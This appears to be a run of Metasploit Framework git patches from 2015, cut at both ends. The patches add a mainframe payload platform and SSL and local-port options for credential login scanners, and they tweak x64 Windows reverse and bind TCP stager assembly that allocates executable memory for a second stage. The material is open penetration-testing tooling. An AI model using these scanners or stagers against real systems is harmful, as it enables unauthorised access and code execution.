Mainframe + # + class Mainframe < Msf::Module::Platform + Rank = 100 + Alias = "mainframe" + end end From ecf6867c35fae188589e0e647aba32ceea65e0e2 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 10:04:50 -0500 Subject: [PATCH 0734/2172] Added mainframe as a payload constant updated core/payload.rb to include 'mainframe' as a option --- lib/msf/core/payload.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index c1ec362da2..dcfc550e9f 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -30,6 +30,7 @@ class Payload < Msf::Module require 'msf/core/payload/java' require 'msf/core/payload/dalvik' require 'msf/core/payload/firefox' + require 'msf/core/payload/mainframe' ## # From ff87fbc9764ed776cc3a66f368472edc7d2c7640 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 10:06:09 -0500 Subject: [PATCH 0735/2172] Added a mainframe.rb in core/payload Base module for payloads to be developed on the mainframe / SystemZ (z/os mvs) architecture --- lib/msf/core/payload/mainframe.rb | 33 +++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 lib/msf/core/payload/mainframe.rb diff --git a/lib/msf/core/payload/mainframe.rb b/lib/msf/core/payload/mainframe.rb new file mode 100644 index 0000000000..04f5cf29bf --- /dev/null +++ b/lib/msf/core/payload/mainframe.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- +require 'msf/core' + +### +# +# This class is here to implement advanced features for mainframe based +# payloads. Mainframe payloads are expected to include this module if +# they want to support these features. +# +### +module Msf::Payload::Mainframe + + # + # Z notes + # Z notes + # + def initialize(info = {}) + ret = super(info) + end + + # + # Returns a list of compatible encoders based on mainframe architecture + # most will not work because of the different architecture + # an XOR-based encoder will be defined soon + # + def compatible_encoders + encoders = super() + encoders2 = ['/generic\/none/','none'] + + return encoders2 + end + +end From 4a9ef30e9e3c7da1ccf320b746e0ebba940243bd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 10:31:17 -0500 Subject: [PATCH 0736/2172] Use SSLVerifyMode and SSLCipher from the Exploit::Remote::Tcp mixin --- lib/msf/core/exploit/tcp.rb | 34 +++++++++++++++++++++++++--------- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index dcdb44bb33..e26e1cc5c5 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -100,15 +100,17 @@ module Exploit::Remote::Tcp end nsock = Rex::Socket::Tcp.create( - 'PeerHost' => opts['RHOST'] || rhost, - 'PeerPort' => (opts['RPORT'] || rport).to_i, - 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", - 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, - 'SSL' => dossl, - 'SSLVersion' => opts['SSLVersion'] || ssl_version, - 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, - 'Context' => + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode, + 'SSLCipher' => opts['SSLCipher'] || ssl_cipher, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self, @@ -269,6 +271,20 @@ module Exploit::Remote::Tcp datastore['ConnectTimeout'] end + # + # Returns the SSL certification verification mechanism + # + def ssl_verify_mode + datastore['SSLVerifyMode'] + end + + # + # Returns the SSL cipher to use for the context + # + def ssl_cipher + datastore['SSLCipher'] + end + protected attr_accessor :sock From a47557b9c1076a91404df5d094612bdd5d1162ed Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 11:14:08 -0500 Subject: [PATCH 0737/2172] Upd. multi/handler to include mainframe platform Quick update to multi handler so it recognizes mainframe platform based modules --- modules/exploits/multi/handler.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 1c4f635b8e..47840b548e 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, - 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win }, + 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe }, 'Arch' => ARCH_ALL, 'Targets' => [ [ 'Wildcard Target', { } ] ], 'DefaultTarget' => 0 From 3529cdad7b8e8c070e73648832e283e2984bf4f7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 13:30:10 -0500 Subject: [PATCH 0738/2172] Add attributes --- .../framework/login_scanner/rex_socket.rb | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb index d8fa26eeaf..b327d9f60f 100644 --- a/lib/metasploit/framework/login_scanner/rex_socket.rb +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -18,17 +18,21 @@ module Metasploit # @!attribute ssl_version # @return [String] The version of SSL to implement attr_accessor :ssl_version + # @!attribute ssl_verify_mode + # @return [String] The SSL certification verification mechanism + attr_accessor :ssl_verify_mode + # @!attribute ssl_cipher + # @return [String] The SSL cipher to use for the context + attr_accessor :ssl_cipher + # @!attribute chost + # @return [String] The local host for outgoing connections + attr_accessor :chost + # @!attribute cport + # @return [Fixnum] The local port for outgoing connections + attr_accessor :cport private - def chost - '0.0.0.0' - end - - def cport - 0 - end - def rhost host end From aa8c4e279278f58256c7d9bc5858293732b2e37e Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 13:31:30 -0500 Subject: [PATCH 0739/2172] Added rspec tests for zarch and ebcdic(cp1047) Basic tests for zarch (64bit BE) and ebcdic<->ascii conversion required to communicate with mainframes. --- spec/lib/rex/arch/zarch_spec.rb | 17 +++++++++++++++++ spec/lib/rex/text_spec.rb | 14 ++++++++++++++ 2 files changed, 31 insertions(+) create mode 100644 spec/lib/rex/arch/zarch_spec.rb diff --git a/spec/lib/rex/arch/zarch_spec.rb b/spec/lib/rex/arch/zarch_spec.rb new file mode 100644 index 0000000000..9d4aafa36d --- /dev/null +++ b/spec/lib/rex/arch/zarch_spec.rb @@ -0,0 +1,17 @@ +# -*- coding:binary -*- +require 'spec_helper' +require 'rex/arch' + +describe Rex::Arch do + describe ".pack_addr" do + subject { described_class.pack_addr(arch, addr) } + + context "when arch is ARCH_ZARCH" do + let(:arch) { ARCH_ZARCH } + let(:addr) { 0xdeadbeefbe655321 } + it "packs addr as 64-bit unsigned, big-endian" do + is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!") + end + end + end +end diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 4609065457..4c465f6323 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -22,6 +22,20 @@ describe Rex::Text do end end + context ".to_ibm1047" do + it "should convert ASCII to mainfram EBCDIC (cp1047)" do + described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should + eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") + end + end + + context ".from_1047" do + it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do + described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]).should + eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") + end + end + context ".to_utf8" do it "should convert a string to UTF-8, skipping badchars" do described_class.to_utf8("Hello, world!").should eq("Hello, world!") From 1e4e5c5bae084074e60a79517d30a93689b0e5c0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 13:50:20 -0500 Subject: [PATCH 0740/2172] Update ACPP login scanner to have into account advanced options --- lib/metasploit/framework/login_scanner/base.rb | 6 ++++++ .../framework/login_scanner/rex_socket.rb | 16 +++++++++------- modules/auxiliary/scanner/acpp/login.rb | 6 ++++++ 3 files changed, 21 insertions(+), 7 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 352065916b..4c50065fd8 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -30,6 +30,12 @@ module Metasploit # @!attribute port # @return [Fixnum] The port to connect to attr_accessor :port + # @!attribute host + # @return [String] The local host for outgoing connections + attr_accessor :local_host + # @!attribute port + # @return [Fixnum] The local port for outgoing connections + attr_accessor :local_port # @!attribute proxies # @return [String] The proxy directive to use for the socket attr_accessor :proxies diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb index b327d9f60f..03302d9af9 100644 --- a/lib/metasploit/framework/login_scanner/rex_socket.rb +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -19,17 +19,11 @@ module Metasploit # @return [String] The version of SSL to implement attr_accessor :ssl_version # @!attribute ssl_verify_mode - # @return [String] The SSL certification verification mechanism + # @return [String] the SSL certification verification mechanism attr_accessor :ssl_verify_mode # @!attribute ssl_cipher # @return [String] The SSL cipher to use for the context attr_accessor :ssl_cipher - # @!attribute chost - # @return [String] The local host for outgoing connections - attr_accessor :chost - # @!attribute cport - # @return [Fixnum] The local port for outgoing connections - attr_accessor :cport private @@ -40,6 +34,14 @@ module Metasploit def rport port end + + def chost + local_host || '0.0.0.0' + end + + def cport + local_port || 0 + end end end end diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb index 57677b9661..10047d1b06 100644 --- a/modules/auxiliary/scanner/acpp/login.rb +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -74,6 +74,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 50249bd6400568f4c9a22346c4b5c09562ee0ea9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 13:57:08 -0500 Subject: [PATCH 0741/2172] Update Metasploit::Framework::Tcp::Client to have SSLVerifyMode and SSLCipher into account --- lib/metasploit/framework/tcp/client.rb | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index 9789d5d2e7..195f12640a 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -82,15 +82,17 @@ module Metasploit end nsock = Rex::Socket::Tcp.create( - 'PeerHost' => opts['RHOST'] || rhost, - 'PeerPort' => (opts['RPORT'] || rport).to_i, - 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", - 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, - 'SSL' => dossl, - 'SSLVersion' => opts['SSLVersion'] || ssl_version, - 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, - 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode, + 'SSLCipher' => opts['SSLCipher'] || ssl_cipher, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) # enable evasions on this socket set_tcp_evasions(nsock) From 983bedeb85169c5f5c606f820b5e5fd1ca089b30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 13:58:08 -0500 Subject: [PATCH 0742/2172] Add debug message --- lib/rex/socket/tcp.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/socket/tcp.rb b/lib/rex/socket/tcp.rb index b334f0f167..361b231a71 100644 --- a/lib/rex/socket/tcp.rb +++ b/lib/rex/socket/tcp.rb @@ -25,6 +25,7 @@ module Rex::Socket::Tcp # @see Rex::Socket::Parameters.from_hash def self.create(hash = {}) hash['Proto'] = 'tcp' + puts "parameters: #{hash.inspect}" self.create_param(Rex::Socket::Parameters.from_hash(hash)) end From 07b44fccb91d5b610f32b1df1d72475664b74c8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:03:55 -0500 Subject: [PATCH 0743/2172] Update AFP login scanner to have into account advanced options --- modules/auxiliary/scanner/afp/afp_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index 69e229bede..74aa22c26a 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -69,6 +69,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 4d8f0a6ec41571490a2407edd6b99cbb5972db1c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:10:55 -0500 Subject: [PATCH 0744/2172] Update db2_auth to have into account advanced Tcp options --- modules/auxiliary/scanner/db2/db2_auth.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 4fb8dfee72..b5afbe1bab 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -67,6 +67,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From a99e44b43a1fc9b9c6926c1ace1a49af5472f0d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:13:08 -0500 Subject: [PATCH 0745/2172] Update vnc_login to have into account advanced TCP options --- modules/auxiliary/scanner/vnc/vnc_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 840fed4561..91ec122893 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -83,6 +83,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From df3e4e8afd3cd1856378fbad5f0f8d53372feb40 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:18:05 -0500 Subject: [PATCH 0746/2172] Update ftp_login to have into account advanced TCP options --- modules/auxiliary/scanner/ftp/ftp_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index b5a5bc3352..676ea23753 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -81,6 +81,12 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 0abb387c1a8316364acb46667bb16056600ba7e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:22:09 -0500 Subject: [PATCH 0747/2172] Update mssql_login to have into account advanced TCP options --- modules/auxiliary/scanner/mssql/mssql_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index b29f8eb7e0..dca6283fb9 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -58,6 +58,12 @@ class Metasploit3 < Msf::Auxiliary windows_authentication: datastore['USE_WINDOWS_AUTHENT'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From d02193aaeba6912cd47002c6c412fb98e1ae0356 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:28:32 -0500 Subject: [PATCH 0748/2172] Update mysql_login to have into account advanced TCP options --- modules/auxiliary/scanner/mysql/mysql_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index b7bad07431..97658016c6 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -66,6 +66,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 0eed30ce05383251333cd06f00911b6a1991543a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:29:50 -0500 Subject: [PATCH 0749/2172] Update pop3_login to have into account advanced TCP options --- modules/auxiliary/scanner/pop3/pop3_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index 9e0b75d8ea..33719dfb96 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -75,6 +75,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From adb76a9223bf61f86c715278e5ee48efc8104d7f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:35:58 -0500 Subject: [PATCH 0750/2172] Update telnet_login to have into account advanced TCP options --- modules/auxiliary/scanner/telnet/telnet_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index e9315b7ba4..63dda3f8ab 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -72,6 +72,12 @@ class Metasploit3 < Msf::Auxiliary telnet_timeout: datastore['TelnetTimeout'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 2f46335c90d481c02bfa6c1e57c75f77aa4a9998 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:36:23 -0500 Subject: [PATCH 0751/2172] Update brocade_enbale_login to have into account advanced TCP options --- modules/auxiliary/scanner/telnet/brocade_enable_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb index 95decddd85..c5beadbe05 100644 --- a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb +++ b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb @@ -116,6 +116,12 @@ class Metasploit4 < Msf::Auxiliary pre_login: lambda { |s| raw_send("enable\r\n", s.sock) }, framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 269641a0fffc946b75d19f5e68f3e2ae7dfd908a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:38:35 -0500 Subject: [PATCH 0752/2172] Update vmauthd_login to have into account advanced TCP options --- modules/auxiliary/scanner/vmware/vmauthd_login.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index 10adb080d7..5844222e6c 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -78,6 +78,12 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, + ssl: datastore['SSL'], + ssl_version: datastore['SSLVersion'], + ssl_verify_mode: datastore['SSLVerifyMode'], + ssl_cipher: datastore['SSLCipher'], + local_port: datastore['CPORT'], + local_host: datastore['CHOST'] ) scanner.scan! do |result| From 19ada4b84210d89c683e540b5393628e70425f7d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 14:44:48 -0500 Subject: [PATCH 0753/2172] Revert "Add debug message" This reverts commit 983bedeb85169c5f5c606f820b5e5fd1ca089b30. --- lib/rex/socket/tcp.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/rex/socket/tcp.rb b/lib/rex/socket/tcp.rb index 361b231a71..b334f0f167 100644 --- a/lib/rex/socket/tcp.rb +++ b/lib/rex/socket/tcp.rb @@ -25,7 +25,6 @@ module Rex::Socket::Tcp # @see Rex::Socket::Parameters.from_hash def self.create(hash = {}) hash['Proto'] = 'tcp' - puts "parameters: #{hash.inspect}" self.create_param(Rex::Socket::Parameters.from_hash(hash)) end From 31552a71cfa353bfa87a127dfccac4af05a910c2 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 14:50:46 -0500 Subject: [PATCH 0754/2172] Added FIREFOX back as arch - inadvertantly removed --- lib/rex/constants.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index fbb16fea73..ee362285e4 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -111,6 +111,7 @@ ARCH_TYPES = ARCH_DALVIK, ARCH_PYTHON, ARCH_NODEJS, + ARCH_FIREFOX, ARCH_ZARCH, ] From 49bb3f2e3ffad885f279523a99fc0133a794042c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 28 Sep 2015 13:27:58 -0700 Subject: [PATCH 0755/2172] Complete tests for capture_sendto --- spec/lib/msf/core/exploit/capture_spec.rb | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 3e97424dad..54dc471192 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -18,14 +18,31 @@ describe Msf::Exploit::Capture do end context '#capture_sendto' do + let(:payload) { Rex::Text::rand_text_alphanumeric(100 + rand(1024)) } + + before(:each) do + allow(subject).to receive(:capture).and_return(true) + end + + it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do + allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06)) + allow(subject).to receive(:inject_eth).and_return(payload.size) + subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size + subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size + end + it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do + allow(subject).to receive(:lookup_eth).and_return(nil) + subject.capture_sendto(payload, '127.0.0.1').should be_falsey + subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey end it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do + allow(subject).to receive(:lookup_eth).and_return(nil) + allow(subject).to receive(:inject_eth).and_return(payload.size) + subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size end - it 'should return the correct number of bytes if the destination MAC can be determined' do - end end context '#stats_*' do From 9444c8c41065d9f6dca712b5017aaa0931ea99f1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 28 Sep 2015 15:52:50 -0500 Subject: [PATCH 0756/2172] Fix #5988, windows x64 stagers * Also, use mov esi, esi to save an extra byte * Also, modify the block_recv.asm code, just to have it up to date --- external/source/shellcode/windows/x64/src/block/block_recv.asm | 1 + lib/msf/core/payload/windows/x64/bind_tcp.rb | 1 + lib/msf/core/payload/windows/x64/reverse_tcp.rb | 2 +- 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/external/source/shellcode/windows/x64/src/block/block_recv.asm b/external/source/shellcode/windows/x64/src/block/block_recv.asm index a38ebf23f8..c76eb2373b 100644 --- a/external/source/shellcode/windows/x64/src/block/block_recv.asm +++ b/external/source/shellcode/windows/x64/src/block/block_recv.asm @@ -24,6 +24,7 @@ recv: add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length + mov esi, esi ; only use the lower-order 32 bits for the size push byte 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 52e2cc352e..33f57b220e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -220,6 +220,7 @@ module Payload::Windows::BindTcp_x64 ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length + mov esi, esi ; only use the lower-order 32 bits for the size push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 3110f5642e..3de55bd891 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -219,7 +219,7 @@ module Payload::Windows::ReverseTcp_x64 ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length - movsxd rsi, esi ; only use the lower-order 32 bits for the size + mov esi, esi ; only use the lower-order 32 bits for the size push 0x40 ; pop r9 ; PAGE_EXECUTE_READWRITE push 0x1000 ; From b608abffbc346a81394ce6ff70e01d8790ff2902 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Sep 2015 09:03:57 +1000 Subject: [PATCH 0757/2172] Update payload cache sizes for x64 windows --- modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb | 2 +- modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/x64/bind_tcp.rb | 2 +- modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_tcp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb index 3e2b01bdd6..58fc21b52a 100644 --- 